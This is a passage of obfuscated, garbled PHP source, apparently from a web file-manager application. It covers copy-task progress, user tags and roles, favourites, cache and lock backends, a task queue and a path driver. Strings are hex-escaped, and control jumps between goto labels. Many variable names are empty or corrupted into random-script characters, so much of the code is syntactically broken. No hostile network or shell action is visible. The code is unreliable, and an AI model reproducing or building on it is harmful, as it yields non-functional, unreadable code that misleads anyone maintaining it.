$->size($); $銥[$ǂ[1691]] = 0; $銥[$ǂ[1051]] = $ǂ[12]; $銥[$ǂ[1692]] = $ǂ[12]; $銥[$ǂ[1693]] = 0; $ = $銥[$ǂ[1690]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($銥[$ǂ[401]] . $ǂ[1703]); if ($ && file_exists(get_path_father($ĵ‡))) { Cache::set($銥[$ǂ[401]] . $ǂ[1703], $ĵ‡); $銥[$ǂ[1664]] = array($ǂ[1704], $ǂ[1705]); } $this->update(0, $); } public static function updateCopyLocalFileSize($ℌ) { $̯ =& $_SERVER[]; $ؓ߳ = Cache::get($ℌ[$̯[401]] . $̯[1703]); if (!$ؓ߳ || !file_exists($ؓ߳)) { return $ℌ; } $ℌ[$̯[1691]] = @filesize($ؓ߳); $ℌ[$̯[1695]] += $ℌ[$̯[1691]]; self::updateTask($ℌ); return $ℌ; } public function copyFileEnd($ь, $ͻ, $Ī, $ơ, $, $莔) { $㚺 =& $_SERVER[]; $ȯݎ =& $this->task; $ȯݎ[$㚺[1691]] = $ȯݎ[$㚺[1690]]; $ȯݎ[$㚺[1692]] = $㚺[12]; unset($ȯݎ[$㚺[1664]]); if ($ == $ȯݎ[$㚺[1688]]) { $ȯݎ[$㚺[1694]] += $ȯݎ[$㚺[1690]]; $ȯݎ[$㚺[1695]] = $ȯݎ[$㚺[1694]]; $this->update(1); } else { $this->update(); $ȯݎ[$㚺[1691]] = 0; } Cache::remove($ȯݎ[$㚺[401]] . $㚺[1703]); self::log($㚺[1706] . $ͻ . $㚺[70] . $ơ . $㚺[226] . $ . $㚺[1707] . $ȯݎ[$㚺[1688]]); } public function updateFileEnd($, $ʔ) { $۫ =& $_SERVER[]; $ܺ =& $this->task; $ܺ[$۫[1688]] = $; $ܺ[$۫[1690]] = $ʔ; $ܺ[$۫[1694]] += $ʔ; $ܺ[$۫[1695]] = $ܺ[$۫[1694]]; $this->update(1); self::log($۫[1708] . $); } public function sourceModelCopy($Ɠ) { $П =& $_SERVER[]; $ս = $Ɠ[0]; $ò = $Ɠ[1]; $ٗ =& $this->task; $this->sourceModelCopyFlag = !0; $̛ʐ = 0; switch ($ս) { case $П[566]: $̛ʐ = 1; break; case $П[569]: $ٗ[$П[1688]] = $ò[$П[32]]; break; case $П[571]: $̛ʐ = intval($Ɠ[$П[375]] * 0.4); break; case $П[573]: $̛ʐ = intval($Ɠ[$П[375]] * 0.2); break; case $П[575]: $̛ʐ = intval($Ɠ[$П[375]] * 0.4); break; } $this->update($̛ʐ); $this->sourceModelCopyFlag = !1; } public function sourceRemove($˯, $ش) { $Š =& $_SERVER[]; $this->sourceModelCopyFlag = !0; $ = 1; if (isset($˯[$Š[83]])) { $ = $˯[$Š[83]][$Š[81]] + $˯[$Š[83]][$Š[82]] + 1; } $this->update($); $this->sourceModelCopyFlag = !1; } public function sourceMove($) { $this->sourceRemove($, !1); } public function curlProgress($ӊ, $ɔۡ, $ޘ, $֒Ҟ, $ˇ) { $͘ =& $_SERVER[]; $ =& $this->task; if ($ˇ > 0) { $[$͘[1051]] = $͘[1709]; $[$͘[1692]] = $͘[108]; if ($[$͘[1690]]) { $[$͘[1691]] = $ˇ; } if ($[$͘[1693]]) { $[$͘[1691]] = $ˇ + $[$͘[1693]]; } } else { if ($ޘ > 0) { if ($[$͘[1690]] == $ɔۡ) { $[$͘[1691]] = $ޘ; $[$͘[1051]] = $͘[1710]; $[$͘[1692]] = $͘[1184]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($) { $ =& $_SERVER[]; $ =& $this->task; $Ƌ = curl_getinfo($); $ = $Ƌ[$[1711]]; if ($ == -1) { $ = $Ƌ[$[1712]]; } if ($[$[1692]] == $[108] && $) { $[$[1693]] += $; } $this->update(); } } goto eυ; E: class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\145\162\x2e\x74\x61\147\x4c\x69\x73\164"; public $modelType = "\125\x73\145\162\117\x70\x74\151\157\156"; public $field = array("\156\141\155\145", "\163\x74\171\154\x65", "\x73\157\162\164"); public function listData($ҧ = false, $ڟ = "\163\x6f\162\164", $ˮ = false) { return parent::listData($ҧ, $ڟ, $ˮ); } public function remove($ǩ) { return parent::remove($ǩ); } public function add($, $櫕 = "\154\141\142\x65\154\55\x67\162\x65\171\55\156\x6f\x72\155\x61\154") { $㯳 =& $_SERVER[]; if ($this->findByName($)) { return !1; } $ş = array($㯳[421] => $, $㯳[484] => $櫕, $㯳[1814] => $this->getSort($㯳[253]) + 1); return parent::insert($ş); } public function update($, $Ϥ) { $ċ =& $_SERVER[]; $ů = $this->listData($); $ɋ = $this->findByName($Ϥ[$ċ[32]]); if (!$ů || $ɋ && $ɋ[$ċ[401]] != $ů[$ċ[401]]) { return !1; } return parent::update($, $Ϥ); } public function moveTop($) { $뺑 =& $_SERVER[]; $硛 = parent::listData(); $ = $this->getSort($뺑[252]); foreach ($硛 as &$) { if ($[$뺑[401]] == $) { $[$뺑[1833]] = $; continue; } $[$뺑[1833]] += 1; } unset($); return parent::resetData($硛); } public function moveBottom($) { $ʬ =& $_SERVER[]; $ = $this->getSort($ʬ[253]) + 1; return parent::update($, array($ʬ[1833] => $)); } public function resetSort($⾌) { $ =& $_SERVER[]; $ӧռ = array(); $⾌ = is_array($⾌) ? $⾌ : array(); for ($쉴 = 0; $쉴 < count($⾌); $쉴++) { $ӧռ[$⾌[$쉴] . $[12]] = $쉴 + 1; } $ = parent::listData(); foreach ($ as &$) { $ϐ = $ӧռ[$[$[401]]]; $[$[1833]] = $ϐ ? $ϐ : $[$[1833]]; } unset($); return parent::resetData($); } private function getSort($) { $鈓 =& $_SERVER[]; $ = parent::listData(); $ޣĖ = array_to_keyvalue($, $鈓[12], $鈓[1833]); if (!$ޣĖ) { $ޣĖ = array(0); } $輊 = $ == $鈓[253] ? max($ޣĖ) : min($ޣĖ); return intval($輊); } } goto a…; D׍: class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\163\x74\x65\155\56\162\157\154\145\x4c\x69\x73\164"; public $field = array("\x6e\141\155\x65", "\141\x75\x74\x68", "\154\141\142\145\x6c", "\x64\151\163\160\x6c\141\x79", "\x73\x79\163\164\145\155", "\x64\145\x73\143", "\x69\147\x6e\x6f\x72\145\105\x78\164", "\151\x67\156\x6f\x72\x65\x46\x69\154\x65\x53\151\172\145", "\141\144\x6d\x69\x6e\x69\163\164\x72\x61\164\x6f\x72", "\x73\157\162\164"); public function listData($񮅽 = false, $ = "\163\157\162\x74", $҃ = false) { $ɳ☧ =& $_SERVER[]; $ɠ = parent::listData($񮅽, $, $҃); if (!$񮅽) { foreach ($ɠ as $ => $) { if ($[$ɳ☧[2003]] == 1) { $ɠ[$][$ɳ☧[451]] = LNG($ɳ☧[2229]); } } } return $ɠ; } public function update($ܷ, $) { $˲ =& $_SERVER[]; $ = parent::listData($ܷ); $ = $this->findByName($[$˲[32]]); if (!$ || $ && $[$˲[401]] != $[$˲[401]]) { return !1; } if ($[$˲[2003]] == 1) { $ = array($˲[32] => $[$˲[32]], $˲[1832] => $[$˲[1832]]); } $this->filterAuth($[$˲[414]]); return parent::update($ܷ, $); } public function remove($ٰ) { $Խ = parent::listData($ٰ); if (!$Խ || $Խ[$_SERVER[][1261]]) { return !1; } return parent::remove($ٰ); } public function add($ܸ) { $ =& $_SERVER[]; $󊲄 = $ܸ[$[32]]; if ($this->findByName($󊲄)) { return !1; } $ = array($[421] => $󊲄, $[1816] => $[12], $[1812] => $[1820], $[2230] => 1, $[1815] => 0, $[2231] => 0, $[1814] => $this->getSort()); $ܸ = array_merge($, $ܸ); $this->filterAuth($ܸ[$[414]]); return parent::insert($ܸ); } private function getSort() { $ϛ֭ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $ϛ֭[12], $ϛ֭[1833]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { $ =& $_SERVER[]; $Ӌ = array(); $ů鷤 = array_filter(explode($[50], $)); foreach ($ů鷤 as $) { $׳ = explode($[10], $); if ($׳[0] == $[2232] && $׳[1] != $[1180]) { $ݼƃ = $׳[0] . $[10] . $׳[1] . $[2233]; if (!in_array($ݼƃ, $ů鷤)) { $Ӌ[] = $ݼƃ; } } $Ӌ[] = $; } $ = implode($[50], $Ӌ); } public function sort($, $ۯ) { return parent::update($, $ۯ); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\145\155\56\x74\141\x73\x6b\x4c\x69\163\164"; public $field = array("\x6e\141\x6d\x65", "\x74\x79\160\145", "\145\166\145\156\x74", "\x74\151\155\x65", "\x64\145\x73\x63", "\163\x79\x73\x74\145\x6d", "\x65\x6e\141\142\x6c\x65", "\x6c\141\163\164\122\165\x6e", "\x73\x6f\x72\x74"); public function listData($ = false, $ʋ = "\163\157\x72\164", $Ҫ = false) { return parent::listData($, $ʋ, $Ҫ); } public function add($Ɋ) { $ܼ =& $_SERVER[]; $ = $this->findByName($Ɋ[$ܼ[32]]); if ($) { return !1; } $Ɋ[$ܼ[1603]] = 0; $Ɋ[$ܼ[1833]] = $this->getSort(); return parent::insert($Ɋ); } private function getSort() { $ =& $_SERVER[]; $蛯 = parent::listData(); $΄ = array_to_keyvalue($蛯, $[12], $[1833]); return empty($΄) ? 0 : max($΄) + 1; } public function update($􌟕, $) { $쯈 =& $_SERVER[]; $ = $this->listData($􌟕); $཰ = $this->findByName($[$쯈[32]]); if (!$ || $཰ && $཰[$쯈[401]] != $[$쯈[401]]) { return !1; } return parent::update($􌟕, $); } public function remove($ߛ㹆, $鸣 = false) { $ڋ =& $_SERVER[]; $ڃϚ = $this->listData($ߛ㹆); if (!$ڃϚ) { return; } if (!$鸣 && $ڃϚ[$ڋ[1261]] == $ڋ[89]) { return !1; } return parent::remove($ߛ㹆); } public function enable($Ȟ, $Ƨĩ) { return $this->update($Ȟ, array($_SERVER[][2224] => $Ƨĩ)); } public function run($ͷؾ) { return $this->update($ͷؾ, array($_SERVER[][2234] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "\165\163\x65\162\x5f\x66\x61\166"; protected function cacheFunctionAlias($ò) { $” =& $_SERVER[]; return array($”[1918] => array(USER_ID, $”[2235])); } protected function listData() { $ŝ =& $_SERVER[]; $˜ = array($ŝ[1633] => USER_ID, $ŝ[483] => 0); $籣 = $ŝ[2236]; $ = $this->field($籣)->where($˜)->order($ŝ[2237])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $Ġݸ =& $_SERVER[]; $ҋ = $this->listData(); $ = array_filter_by_field($ҋ, $Ġݸ[33], $Ġݸ[417]); $ܩ = array_to_keyvalue($, $Ġݸ[12], $Ġݸ[78]); if (!$ܩ) { return $ҋ; } $֭蛓 = 2000; $چŗ = array($Ġݸ[418] => array($Ġݸ[419], $ܩ)); $֔ = Model($Ġݸ[818])->listSource($چŗ, $֭蛓); $֔ = array_merge($֔[$Ġݸ[76]], $֔[$Ġݸ[77]]); $֔ = array_to_keyvalue($֔, $Ġݸ[403]); foreach ($ҋ as $񅾇 => $и) { $ = $֔[$и[$Ġݸ[78]]]; $ = $ ? $ : array(); $ҋ[$񅾇] = array_merge($, $и); } return $ҋ; } protected function addFav($Ǡ, $ݿ = '', $ƴ = "\x73\x6f\165\x72\x63\x65") { $ۥ =& $_SERVER[]; $ = array($ۥ[1633] => USER_ID, $ۥ[483] => 0, $ۥ[423] => $ƴ, $ۥ[422] => $Ǡ); if ($this->where($)->find()) { return !1; } $ = array($ۥ[1633] => USER_ID, $ۥ[483] => 0); $߻ = $this->where($)->max($ۥ[1833]); if (!$߻) { $߻ = 0; } if (!$ݿ && $ƴ == $ۥ[417]) { $ = Model($ۥ[1312])->where(array($ۥ[418] => $Ǡ))->find(); if (!$) { return !1; } $ݿ = $[$ۥ[32]]; } $ݿ = $this->getAutoName($ݿ); $ = array($ۥ[1633] => USER_ID, $ۥ[483] => 0, $ۥ[421] => $ݿ, $ۥ[422] => $Ǡ, $ۥ[423] => $ƴ, $ۥ[1814] => $߻ + 1); return $this->add($); } protected function remove($) { $ =& $_SERVER[]; $ۯ = array($[1633] => USER_ID, $[420] => $); return $this->where($ۯ)->delete(); } protected function removeByName($֥) { $ =& $_SERVER[]; $ฝ = array($[1633] => USER_ID, $[421] => $֥, $[483] => 0); return $this->where($ฝ)->delete(); } protected function rename($ب, $) { $ =& $_SERVER[]; if ($ب == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($[1633] => USER_ID, $[483] => 0, $[32] => $ب); return $this->where($)->save(array($[32] => $)); } protected function resetSort($ɿ) { $æ =& $_SERVER[]; $ɿ = is_array($ɿ) ? $ɿ : array(); $ = array($æ[1633] => USER_ID); for ($뿐 = 0; $뿐 < count($ɿ); $뿐++) { $[$æ[420]] = $ɿ[$뿐]; $this->where($)->save(array($æ[1814] => $뿐 + 1)); } return !0; } protected function moveTop($) { $࠴ =& $_SERVER[]; $ဲ = array($࠴[1633] => USER_ID, $࠴[483] => 0); $Ͱ = $this->where($ဲ)->where(array($࠴[32] => $))->find(); if (!$Ͱ) { return; } $ = $this->field($࠴[401])->where($ဲ)->order($࠴[2237])->select(); $ = array_to_keyvalue($, $࠴[12], $࠴[401]); $ = $; $ = array_remove_value($, $Ͱ[$࠴[401]]); array_unshift($, $Ͱ[$࠴[401]]); return $this->resetSort($); } protected function moveBottom($Ϗ) { $Ρؕ =& $_SERVER[]; $ = array($Ρؕ[1633] => USER_ID, $Ρؕ[483] => 0); $ʳ = $this->where($)->max($Ρؕ[1833]); $ = array($Ρؕ[1833] => $ʳ + 1); return $this->where($)->where(array($Ρؕ[32] => $Ϗ))->save($); } private function getAutoName($) { $˼ =& $_SERVER[]; $ = array($˼[1633] => USER_ID, $˼[483] => 0); $ = $this->field($˼[32])->where($)->select(); $ = array_to_keyvalue($, $˼[12], $˼[32]); if (!$ || !in_array($, $)) { return $; } for ($Ц = 0; $Ц < count($); $Ц++) { if (!in_array($ . "\50{$Ц}\51", $)) { return $ . "\50{$Ц}\x29"; } } return $ . "\x28{$Ц}\x29"; } } goto Fʢ; e樋ʑ: class Cache { protected static $handle; protected static $memoryCache; public static function init() { $׷ۮ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$׷ۮ[6]][$׷ۮ[344]]; $ʼn = $[$[$׷ۮ[820]]]; $ބ궚 = $[$׷ۮ[821]]; switch ($[$׷ۮ[820]]) { case $׷ۮ[21]: self::$handle = Model($׷ۮ[822]); break; case $׷ۮ[823]: self::$handle = new CacheRedis($ʼn, $ބ궚); break; case $׷ۮ[824]: self::$handle = new CacheMemcached($ʼn, $ބ궚); break; case $׷ۮ[192]: self::$handle = new CacheFile($ʼn, $ބ궚); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($ޜ) { if (is_array($ޜ) || is_object($ޜ)) { $ޜ = json_encode($ޜ); } $ޜ = rawurlencode($ޜ); return md5(KOD_SITE_ID . $_SERVER[][11] . $ޜ); } public static function get($, $ = false) { $ = self::key($); if ($) { return unserialize(self::init()->get($)); } if (!isset(self::$memoryCache[$])) { $ח = self::init()->get($); self::$memoryCache[$] = unserialize($ח); } return self::$memoryCache[$]; } public static function set($܂, $ю, $ = false) { $ = self::key($܂); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ю) { return !0; } if ($ === 0) { self::$memoryCache[$] = $ю; return !0; } CacheLock::lock($܂); $˞ = self::init()->set($, serialize($ю), $); self::$memoryCache[$] = $ю; CacheLock::unlock($܂); return $˞; } public static function getCall($ޣ, $, $, $ = array()) { $ʼn =& $_SERVER[]; $ˑ̃ = self::get($ޣ); if ($ˑ̃ || $ˑ̃ === $ʼn[12]) { return $ˑ̃; } $ˑ̃ = call_user_func_array($, $); $ˑ̃ = $ˑ̃ ? $ˑ̃ : $ʼn[12]; self::set($ޣ, $ˑ̃, $); return $ˑ̃; } public static function remove($٧) { $й褙 = self::key($٧); unset(self::$memoryCache[$й褙]); self::clearTimeout(); CacheLock::lock($٧); $ӓ = self::init()->remove($й褙); CacheLock::unlock($٧); return $ӓ; } public static function removeMemory($񪱳) { $ʡ = self::key($񪱳); unset(self::$memoryCache[$ʡ]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][825])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][826])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($̿, $ȓ) { $؜ =& $_SERVER[]; $this->cachePath = $̿[$؜[78]]; $this->prefix = $؜[827]; $this->cacheTime = $ȓ; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($ë׸) { $ =& $_SERVER[]; $ë׸ = str_replace(array($[828], $[98], $[73]), $[829], $ë׸); return $this->cachePath . $[830] . $ë׸ . $[831]; } public function set($, $Αݴ, $ܹ = false) { $ = $this->getFile($); if (file_put_contents($, $this->prefix . $Αݴ, LOCK_EX)) { @touch($, intval(time() + $ܹ)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $© = $this->getFile($); if (file_exists($©) && filemtime($©) < time()) { @unlink($©); return !1; } $ = @file_get_contents($©); return substr($, strlen($this->prefix)); } public function remove($盐) { $⃙ = $this->getFile($盐); return @unlink($⃙); } public function deleteAll() { $ =& $_SERVER[]; $җ͇ = scandir($this->cachePath); foreach ($җ͇ as $ن) { $Ŗ = $this->cachePath . $ن; if (strpos($Ŗ, $[831]) && strpos($Ŗ, $[832])) { @unlink($Ŗ); } } } public function clearTimeout() { $Ճ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $ٿ) { $ = $this->cachePath . $ٿ; if (strpos($, $Ճ[831]) && strpos($, $Ճ[832]) && filemtime($) < time()) { @unlink($); } } } } class CacheLock { protected static $handle; protected static $timeout; protected static $errorMsg = ''; protected static $lockItem = array(); public static function init() { $į =& $_SERVER[]; if (self::$handle) { return self::$handle; } $ԇ = $GLOBALS[$į[6]][$į[344]]; self::$timeout = $ԇ[$į[833]] ? $ԇ[$į[833]] : 10; $тƕ = _get($GLOBALS[$į[6]], $į[834]); $ƻ = $ԇ[$į[820]] ? $ԇ[$į[820]] : $į[192]; if ($ƻ == $į[21] && $тƕ == $į[13]) { $ƻ = $į[192]; } switch ($ƻ) { case $į[823]: self::$handle = new CacheLockRedis(); break; case $į[824]: self::$handle = new CacheLockMemcached(); break; case $į[21]: self::$handle = new CacheLockDatabase(); break; case $į[192]: self::$handle = new CacheLockFile(); break; default: break; } if (GLOBAL_DEBUG_LOG_ALL) { write_log($į[835], $į[836]); } return self::$handle; } private static function key($) { return $_SERVER[][837] . Cache::key($); } public static function initReset() { self::$handle = !1; } public static function setErrorMsg($һڐ = '') { self::$errorMsg = $һڐ; } public static function lockGlobal($̧, $͠) { return self::lock($̧, $͠, !0); } public static function lock($כ, $dz = false, $²񊽘 = false) { $ =& $_SERVER[]; $ = self::init(); $ɂ = self::key($כ); $dz = $dz ? $dz : self::$timeout; $ = $->lock($ɂ, $dz); $ = timeFloat(); if (!$) { $ = "\x6c\x6f\143\153\40\x65\x72\x72\x6f\x72\73\153\x65\171\75{$כ}\x3b\x74\151\155\145\75{$dz}\73" . self::$errorMsg . $[71] . get_caller_msg(); $ = LNG($[838]) . "\x28{$dz}\163\x29\x2e" . LNG($[839]); $ .= $[840]; if (is_string(self::$errorMsg) && self::$errorMsg) { $ = $ . $[841] . self::$errorMsg; } write_log($, $[836]); show_json($, !1); } if (!$²񊽘) { self::$lockItem[$ɂ] = !0; } if (GLOBAL_DEBUG_LOG_ALL) { $ø = number_format(timeFloat() - $, 3); write_log($[842] . $כ . $[843] . $ø, $[836]); } return $; } public static function lockGet($) { $ = self::key($); if (self::$lockItem[$]) { return self::$lockItem[$]; } return self::init()->lockGet($); } public static function unlock($) { $ =& $_SERVER[]; $ = self::key($); self::$lockItem[$] = null; self::init()->unlock($); if (GLOBAL_DEBUG_LOG_ALL) { write_log($[844] . $, $[836]); } return; } public static function unlockRuntime() { $ =& $_SERVER[]; $Ը = self::init(); $ñ = !1; foreach (self::$lockItem as $ƹש => $) { if (!$) { continue; } $Ը->unlock($ƹש); if (!$ñ) { $ñ = !0; write_log($[845] . $ƹש . $[71] . get_caller_msg(), $[836]); continue; } write_log($[845] . $ƹש, $[836]); } self::fileUnlockAll(); if (GLOBAL_DEBUG_LOG_ALL) { $͹ = number_format(timeFloat() - TIME_FLOAT, 3); write_log($[846] . $͹ . $[847] . ACTION, $[836]); } } public static function fileLock($) { $߁ =& $_SERVER[]; if (!$GLOBALS[$߁[848]]) { $GLOBALS[$߁[848]] = array(); } $GLOBALS[$߁[848]][$] = !1; $ = fopen(DATA_PATH . $ . $߁[849], $߁[850]); if (!$) { return !1; } $GLOBALS[$߁[848]][$] = $; if (flock($, LOCK_EX)) { return !0; } self::unlock($); show_json($߁[851], !1); return !1; } public static function fileUnlock($׎) { $ =& $_SERVER[]; $ = $GLOBALS[$[848]][$׎]; if (!$) { return; } $GLOBALS[$[848]][$׎] = !1; flock($, LOCK_UN); fclose($); } public static function fileUnlockAll() { $왏 =& $_SERVER[]; if (!$GLOBALS[$왏[848]]) { return; } foreach ($GLOBALS[$왏[848]] as $϶ => $ۢ) { if (!$ۢ) { continue; } $GLOBALS[$왏[848]][$϶] = !1; flock($ۢ, LOCK_UN); fclose($ۢ); } $GLOBALS[$왏[848]] = array(); } } goto bձ; eυ: class TaskHttp extends Task { protected function startAfter() { $䖻 =& $_SERVER[]; $ =& $this->task; $[$䖻[1713]] = 1; Hook::bind($䖻[1682], array($this, $䖻[1714])); Hook::bind($䖻[1684], array($this, $䖻[1715])); Hook::bind($䖻[1686], array($this, $䖻[1716])); } protected function endAfter() { $ =& $_SERVER[]; Hook::unbind($[1682], array($this, $[1714])); Hook::unbind($[1684], array($this, $[1715])); Hook::unbind($[1686], array($this, $[1716])); } public function progressStart($ᆲ) { $Э =& $_SERVER[]; $Ő = curl_getinfo($ᆲ); self::log($Э[1717] . $Ő[$Э[302]]); self::valueSet($this->task[$Э[401]], $this->task); } public function progressEnd($) { $Ҡ =& $_SERVER[]; self::log($Ҡ[1718] . $this->task[$Ҡ[401]]); $this->end(); } public function progress($, $޵, $Ղ, $בޑ, $Ը) { $ =& $_SERVER[]; $Ȗ =& $this->task; if ($Ը > 0) { $Ȗ[$[779]] = $Ȗ[$[779]] == 0 ? $בޑ : $Ȗ[$[779]]; $Ȗ[$[1643]] = $Ը; } else { if ($Ղ > 0) { $Ȗ[$[779]] = $Ȗ[$[779]] == 0 ? $޵ : $Ȗ[$[779]]; $Ȗ[$[1643]] = $Ղ; } } $this->update(); self::log("\x70\162\157\x67\x72\x65\163\163\110\x74\x74\160\72\144\x6f\167\x6e\72{$Ղ}\57{$޵}\x3b\40\x75\160\x6c\x6f\141\x64\72{$Ը}\x2f{$בޑ}\x3b"); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\163\x6b\121\165\145\165\145\x4c\x65\x6e\x67\164\150"; const QUEUE_DATA = "\164\141\163\153\121\x75\x65\x75\x65\x44\x61\164\x61"; public static $listData = false; public static function initTask() { } public static function add($ҡ, $ˑ = array(), $ޞ = '', $Š = '') { $옡 =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($Š && array_find_by_field(self::$listData, $옡[95], $Š)) { return !0; } self::$listData[] = array($옡[259] => $ҡ, $옡[1719] => $ˑ, $옡[451] => $ޞ, $옡[95] => $Š); return !0; } public static function addSubmit() { $ =& $_SERVER[]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($[1720] . json_encode_force(array_to_keyvalue(self::$listData, $[12], $[451])), $[1721]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($Ħ, $ț = array(), $ߩ = '', $׀Ү = '') { $ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ɹ = self::getAll(); if ($׀Ү && array_find_by_field($ɹ, $[95], $׀Ү)) { return !0; } $ɹ[] = array($[259] => $Ħ, $[1719] => $ț, $[451] => $ߩ, $[95] => $׀Ү); write_log($[1720] . $ߩ, $[1721]); self::setAll($ɹ); return !0; } public static function run() { $ӊ =& $_SERVER[]; $ߦ⚭ = self::getAll(); $Г = array_shift($ߦ⚭); if (!$Г) { return !1; } self::setAll($ߦ⚭); $ĸ = timeFloat(); try { Hook::apply($Г[$ӊ[259]], $Г[$ӊ[1719]]); } catch (Exception $) { } $Й = number_format(timeFloat() - $ĸ, 3) . $ӊ[1658]; write_log($ӊ[1722] . $Г[$ӊ[451]] . $ӊ[1723] . $Й, $ӊ[1721]); return !0; } public static function count() { $ȶπ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$ȶπ) { return 0; } return intval($ȶπ); } public static function getAll() { $֚ = Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$֚) { return array(); } return $֚; } public static function setAll($༂) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($༂), $); Cache::set(self::QUEUE_DATA, $༂, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $Ƽ = Cache::get($); if (!$Ƽ || timeFloat() - floatVal($Ƽ) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $ُڞ, $艆ӕ = 5.0) { $ۄ =& $_SERVER[]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ = $ۄ[1724]; $ = Cache::get($, !0); $ŏ = array($ۄ[1725] => timeFloat(), $ۄ[1726] => timeFloat(), $ۄ[259] => $, $ۄ[1719] => $ُڞ, $ۄ[196] => $艆ӕ); if (is_array($[$])) { $ŏ[$ۄ[1726]] = $[$][$ۄ[1726]]; } if (is_array($[$])) { if (timeFloat() - $[$][$ۄ[1725]] < $ŏ[$ۄ[196]] * 0.3) { return; } $ŏ[$ۄ[1726]] = $[$][$ۄ[1726]]; } $[$] = $ŏ; Cache::set($, $, 60); Cache::removeMemory($); write_log($ۄ[1727] . $ . $ۄ[71] . $, $ۄ[1721]); } public static function timeLimitCallLoop() { $к =& $_SERVER[]; $ = array($к[1728]); $虇 = in_array(strtolower(ACTION), $); if (!$虇 && !self::$asyncAdd) { return; } $ = $к[1724]; $ղل = Cache::get($, !0); if (!$ղل || count($ղل) <= 0) { return; } $ = !1; $鴜 = timeFloat(); $ё = array(); foreach ($ղل as $ => $븵) { if ($鴜 - $븵[$к[1726]] > $븵[$к[196]]) { $ = !0; try { Hook::apply($븵[$к[259]], $븵[$к[1719]]); write_log($к[1729] . $ . $к[71] . $븵[$к[259]] . $к[1730] . ACTION, $к[1721]); } catch (Exception $ͯ) { } continue; } $ё[$] = $븵; } if (!$) { return; } if (!$ё) { return Cache::remove($); } Cache::set($, $ё, 60); Cache::removeMemory($); } public static function finished($Ŀ, $ѱ) { $군 =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($군[259] => $Ŀ, $군[1719] => $ѱ); } private static function finishedRun() { $癨 =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $ߪҘ) { try { Hook::apply($ߪҘ[$癨[259]], $ߪҘ[$癨[1719]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } goto C; D: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($Ɯ) { $this->pathParse = $Ɯ; $this->model = Model($_SERVER[][1312]); } public function getPath($) { return trim($, $_SERVER[][8]); } public function pathFather($뷁) { $ݐ = $this->parse($뷁); $ݐ = $this->infoSimple($뷁); return $ݐ ? $ݐ[$_SERVER[][498]] : !1; } public function pathThis($Ƶ㞱) { $͇꿭 = $this->infoSimple($Ƶ㞱); return $͇꿭 ? $͇꿭[$_SERVER[][32]] : !1; } public function getPathOuter($ˁ) { if (!$ˁ) { return $ˁ; } $Ñ䋬 = $this->parse($ˁ); return KodIO::make($Ñ䋬[$_SERVER[][401]]); } public function copyFolderFromIO($܈, $۝, $ؒݷ, $ӷʷ, $) { $ԅԑ = $this->model->copyFolderFromIO($܈, $۝, $ؒݷ, $ӷʷ, $); return KodIO::make($ԅԑ); } public function isParentOf($Ћ֥, $ʜ) { return $this->model->isParentOf($Ћ֥, $ʜ); } public function mkfile($, $Λ͋ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $۫ = $this->parse($); $ = $۫[$[401]]; for ($ = 0; $ < count($۫[$[1313]]); $++) { $㐖 = $۫[$[1313]][$]; if ($ == count($۫[$[1313]]) - 1) { $ = $this->model->mkfile($, $㐖, $Λ͋, $); break; } $ = $this->model->mkdir($, $㐖, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $² =& $_SERVER[]; $ެ = $this->parse($); $ = $ެ[$²[401]]; for ($٩ʼϨ = 0; $٩ʼϨ < count($ެ[$²[1313]]); $٩ʼϨ++) { $͚ޘț = $ެ[$²[1313]][$٩ʼϨ]; $ = $this->model->mkdir($, $͚ޘț, $); } return $this->getPathOuter($); } public function copyFile($, $, $ = REPEAT_REPLACE) { $ߊ =& $_SERVER[]; $ = $this->parse($); $ղԺ = $this->model->copy($, 